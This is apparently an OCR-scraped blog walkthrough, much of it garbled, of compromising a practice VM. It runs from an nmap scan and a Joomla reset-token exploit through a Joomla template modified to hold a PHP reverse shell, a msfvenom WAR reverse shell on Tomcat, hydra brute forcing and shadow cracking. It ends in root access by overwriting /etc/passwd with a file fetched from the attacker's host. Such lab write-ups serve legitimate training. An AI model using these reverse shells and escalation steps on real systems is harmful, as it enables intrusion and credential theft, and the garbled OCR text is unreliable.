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Nmap scan report for 192.168.34.170
Host is up (0.0040s latency).
Not shown: 65517 clo ports
STATE SERVICE
open Ttp v
http : ttpd 2.4.7 ((Ubuntu))

open netbios-ssn o] L (workgroup: JUP)
open netbios-ssn Sa (o 4.X (workgroup: WORKGROUP)
open ssh o 6.6.1pl Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
open nfs_ acl 2-! C #100227)
open redis o] val C = i
open http nachs ncat/Coyote JSP engine
open http ache nd . (Ub -
open \ on
D Open tatus D0024 )
(protocol 2.0)

P mountd

open nlc F 1-4 (RPC

0 mountd 1-3 (RPC #1060
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8080: tomcat

(@ 192.168.34.170:8080 B e Ty

It works !

If you're seeing this page via a web browser. it means you've setup Tomecat successfully. Congratulations!
This is the default Tomcat home page. It can be found on the local filesystem at: /var/lib/tomcat7/webapps/ROOT/index. html

Tomcat7 veterans might be pleased to learn that this system instance of Tomcat 15 installed with CATALINA_HCME in /usr/share/tomcat? and CATALINA_BASE in /var/1lib/tomcat?, following the rules from
/usr/share/doc/tomcat7-common,/RUNNING. txt .gz.

You might consider installing the following packages. if you haven't already done so:

tomcat7-docs: This package installs a web application that allows to browse the Tomcat 7 documentation locally. Once installed, you can access it by clicking here.

tomcat7-examples: This package installs a web application that allows to access the Tomcat 7 Servlet and JSP examples. Once installed, you can access it by clicking here.

tomcat7-admin: This package installs two web applications that can help managing this Tomcat instance. Once installed. you can access the manager webapp and the host-manager webapp.

NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gu1”. The host-manager webapp 1s restricted to users with role "admin-gu1”. Users are defined in /ecc/tomcat7/ton
users.xml.
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Example :

. Go to

. Write

. Write

. Go to

. Login

url : target.com/index.php?option=com_user&view=reset&layout=confirm

into field "token"™ char ' and Click QK.

new password for admin

url : target.com/administrator/

admin with new password

# milw@rm.com [28088-88-12]
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Vil : http:/[192.168.34.170:8081/index.php?option=com_user&view=reset&layout=confirm
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EET  Cor"im your Account
An e-mail has been sentto your e-mail address. The e-mail contains a verification token, please paste the token in the field below to

prove that you are the owner of this account.

Token: | -

Submit

Powered by Joomizl valid XHTVC and S5, Rl
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Confirm your Account
An e-mail has been sent to your e-mail address. The e-mail contains a verification token, plea:

prove that you are the owner of this account.

Token: ['

Submit \

kA 2 o B Y . FRAB RS 9123456

= Reset your Password
To complete the password reset process please enter a new passward.

Password: | l
Verify Password: | l
Submit
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Joomla! Administration Login

Use a valid username and
password to gain access to

Username |2dmin
the Administrator Back-end.
P d LTI
Return to site Home Page asswor
Language | Default ¥

Login O
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Site Menus Content Components Extensions Tools Help

™ preview 0 22 0 Logout

— —_— —_— Prm— P = Logged in Users
1 @ " # Name Grou Client Last Activi Logout
%) i W al ) e ™ ?
1 admin Super Administrator site 0.0 hours ago
Add New Article Article Manager Front Page Manager | Section Manager Category Manager Media Manager
2 admin Super Administrator administrator 0.0 hours ago
e T ¥ Popular
H 3 » Recent added Articles
Menu Manager Language Manager User Manager Global Configuration

b Menu Stats

RIS, AT UL shell i)y
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=] Article Manager f 8 L= 2 © R ©Q

¥ e
Unarchive  Archive Publish  Unpublish Move Copy Trash Edit New

Parameters  Help
Fitter

Go | | Resst - Salact Saction - | | - Selact Category - | | - Selact Author - |+ | - Salact State - |+

= O Title Published~ Front Page Order ¥ Access Level Section Category Author Date  Hits ID

1 wdnmd = Q 1 Administrator 271218 0 1
Display # 20 |~

. Published, but is Pending | ; Published and is Current | _G Published, but has Expired | &) Mot Published| «» Archived

Plick nn iean ta fannle atate

e WpA I AT



Site Menus Content Components | Extensions Tools Help M Preview 0 M2 O Logout

InstaliUninstall

F~1 Template Manager & wode uonsger w -
%, Plugin Manager reErl EG GED
—
Site Administrator ) Tempiate Manager
Language Manager
# Template Name Default Assigned Version Date Author
1 O beez 100 18 February 2007 Angie Radtke/Robert Deutz
2 (O rhuk_mikyway o 102 1/20/08 Andy Miller

\ Display # 20 |w

Aidibeez. edit-html.

@ @ ¥ v QO

Preview Edit HTML  Edit CSS Save Apply Close Help

I:l' Template: [Edit]

Details Parameters
Name: Beez The Parameter-File templates/beez/params.ini is Writable!
Description: Accessible template for Joomia! 1.5 There are no paramsters for this ftem

Menu Assignment

Menus: @) none () Select from List

Menu Selection: |mainmenu
Home

KSR TR

Site Menus Content Components Extensions Tools Help %5 Preview

F Template HTML Editor ® v

Save Ap

Jvar ji i php
<?php
Fw
* @copyright —Copyright (C) 2005 - 2008 Open Source Metters. All rights reserved.
* @license CNU/GPL, see LICENSE. php
* Jocmlal! is free software. This version may have been modified pursuant
* to the GNU CGeneral Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or cpen scurce scftware licenses.
-

See COPYRIGHT.php for copyright nctices and details.
o

defined (' _JEXEC') or die('Restricted access');

surl = clone(JURI::getInstance());|
$showRightColumn = $this—rcountModules ('userl or user2 or right or top'l;

$showRightColumn &= JRequest::getCmd('layout’) rform";
$showRightColumn &= JRequest::getCmd('task’) != 'edit'

>

<?php eche '<2mml wversion="1.0" encoding="utf-8"2'.'>'; 7>

<!DOCTY¥PE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN™ "http://www w3 org/TR/xhtmll/DTD/xhtmll-transitional dtd">
<ntml xmlns="hotp://www.w3.org/1995/xhtml” xml:lang="<?php echo $this->language; ?>" lang="<7php echo $this->language; 7>" dir="<?php echo $this->direction; 2>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet” href="<Iphp

echo $this-rbaseurl ?r/templates/beez/css/template.css” type="text/css™ /»

<link stylesheet" echo $this->baseurl ?»/templates/beez/css/positicn.css™ typ "soreen,projection” />
<limk stylesheet” echo $this->baseurl ?»/templates/beez/cas/layout_css”™ type screen,projection” />
<link stylesheet” echo $this->baseurl ?>/templates/beez/css/print.css’ text/css" e

<limk stylesheet” echo $this->baseurl ?»/templates/beez/css/general css” type="text/css" />

<?php if ($this->direction
<link rel="stylesheet” href
<?php endif; ?>
<!-—[if lte IE &1>
<link href:

: >

<?php echo $this->baseuzl 7>/templates/besz/css/template_rtl.css" type

ext/css" Jr

<7php echo $this->baseurl ?>/templates/beez/css/ieonly.css” rel="stylesheet" type="text/css" />

18 93 1 25 e sishell. 3 ffikali T ff/usr/share/webshells/php/php-reverse-shell.php, 1&i$lp Jykali ip



set time limit-(9);
$VERSION "1.0";

$ip '192.168.34.80";
$port-=-1234;

$chunk _size-=-1400;

$write _a-=-null;

$error_a-=-null;

$shell "uname--a; ‘w; -id; - /bin/sh--i";
$daemon-=-0;

$debug-=-0;

g.csdn.net/qg_419
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E"] Template HTML Editor \A v @ O
ave Apply Cancel Help
@ Template source saved
hear mljjoomialtern z/index.php
ik ]
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# nc -lvp 1234

02.168.34.170] 43063
.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i68

0.01, ©.65
JCPU PCPU WHAT

]ub uanTr01

3(www-data) gid=33(www-data) groups=

T
nikto$180803# 1 1

nikto -h http://192.168.34.170:8080

d HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the we

-5646: HTTP method ('Allow’ Header): 'DELETE' may allow clients to remove Tfil on the v
erver.
/. Appears to be a 1ﬂf1u1T Apache Tomcat install.
xamples/servliets/1 L: Apache Tomcat default JSP pages present.
VDB iTLG /example /snp/snoop.jsp: Displays information about page retr als, including ot

'Tomcat Manager Application' at /manager/html (ID 'tomcat', PW 'tomcat’

(pass protect

ger / Host age
- Status interface
13 itemf51 d on remote
:51 g

A
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t setup Tomecat successfully. Congratulations! TFEEHD) ErF

default Tomcat home page. It can be found on the local filesystem at: /var/1ik/tomcat7/webapps/ROOT/ index, html

rks !

zeing this page via a web browser, it means you"

eterans might be pleased to learn that this system mnstance of Tomcat 1s mstalled with/CATALINA HOME 1 /usr/share/tomcat? and CATALINA BASE in /var/lib/tomcat?, following the rules fron
re/doc/tomcatT-common,/RUNNING. TXT.gz2.

consider installing the following packages, 1f you haven't already done sa-

== b4
locs: This package installs a web application that all here.
@ http://19 8.34.170:8080 [FirE S0P S IEE. EFWEHR: "Tomcat Manager
xamples: This package installs a web application il Applicatidn®™ clhicking here.
dmin- This package installs two web applications ] G l | and the host-manager webapp.
=i
1 security reasons, using the manager webapp is reg e "admin-gui". Users are defined in /etc/tomeat
L R
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Deploy

WAR file to deploy

Select WAR file to upload | Jll5E... | FEEESH.
Deploy

f# FHmsfvenom’E: slwart = ¥ payload.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.34.80 LPORT=6666 -f war>r_jsp_shell 6666.war
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Select WAR file to upload r_jsp_shell_12345.war

Deploy N

V1]

% | 192.168.34.170:8080/r jsp shell X | +

(D 192.168.34.170:8080/r jsp shell 6666/

ning on -
[19 58.34.80] from localhost [192.168.34.170] 43

106 (messagebus) gid=114(tomcat?) groups=112(ssl-cert),114(tomcat?)

I =
hydraligfiftp ) FH - 245505, 1 44 ) g seclists, BB R 50, T %L E | seclists/Passwords/ T [ -

hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/passwords_jo
hn.txt 192.168.34.170 ftp -s 25

ra
;, OF

Hydra e=trydra)
l 16 tasks,
r t ‘
[DATA] attacki t 192.168.34.170:25/ 5
[STATUS] ) tri in, tries in 00:01h, ! to do in 083
) 3 796 tries in 00:03h, ! to do. in8S
1920 tries in 00:07h, 50 to do in E

4115 tries in 00:15h, 487 to do im
4.170 login: admin password :

blog.csdn.net/aq_4
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sshizt FEiZE R m]
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python -c 'import pty;pty.spawn("/bin/bash")"’

$ python -c¢ 'import pty;pty.spawn("/bin/bash")'

www-data@canyoupwnme: /tmp$

FesudiB R ¥ S F

find / -perm -u=s 2>/dev/null

KA cpis .

/bin/ping
/bin/

pkexec

traceroute6.iputils : 9.
g.csdn.net/qq_41918771

fd F cpin 2 K fetc/shadow SC A & il £l tmp T 5t 7T LA 2 shadow S 1
fEshadowH R HL T HANH

Fradminf P & il 2 kali ..

admin: $/si.YpoOSgIH/DAWQRC21yRAaFKUqeHzC3ZbL7ENrCR21CNibrod8Vey03IFEnymP8MZzBi3memvaeeUmyySve/:16834:0
199999:7
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d g crypt(3) $6% [SHA512 25 6 AVX2 4x])
1k {1Ter1‘r10r| IUIJH‘H is 5008 -~ all loaded hashes
L1 run 2 OpenMP threads
ceeding with single, ru Single
Press 'q' or Ctrl-C to abor almost any other key for status
adm ( )
:00:00:00 DONE 1/3 ( 0-12-26 20:37) Shen s 800.0C/s admin..admin9
» the ”——shom” f < ’ - abl :
1 RS T 00 o=l netiqq_ 4

15 H %15 7&admin.
{EHE AT I A SRALroothifR

LAkaliflgE 7 —ANH Fradmin, F&H/etc/passwd 3, Kuid fgidiEEeh.

colour mani ent daemon,,,:/Va
o] bin/nologj

isher:/usr

kalififl JH pythond% £ fii] 7 i 55 4%, ERIA /280003 I

cd /etc
python3 -m http.server

FEHL N 3K

cd /tmp
wget http://192.168.34.80:8000/passwd

wnme:/tmp$ wget http 168.34.80:8000/passwe
168.34.80: SUGU’passwd
/passwd

(74.4 MB/s) ‘passwd.l' saved [28

oupwnme: /tmp$ [l HEES ”blug“ TR 7

cp passwd /etc/passwd
su admin
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wnme:/tmp$ cp passwd /etc/

pwnme:/tmp$ su admin

Password: admin

uid=0(root) gid=0(root) groups=0(root)
# 11 hitps://blog.csdn.netiqg_41918771
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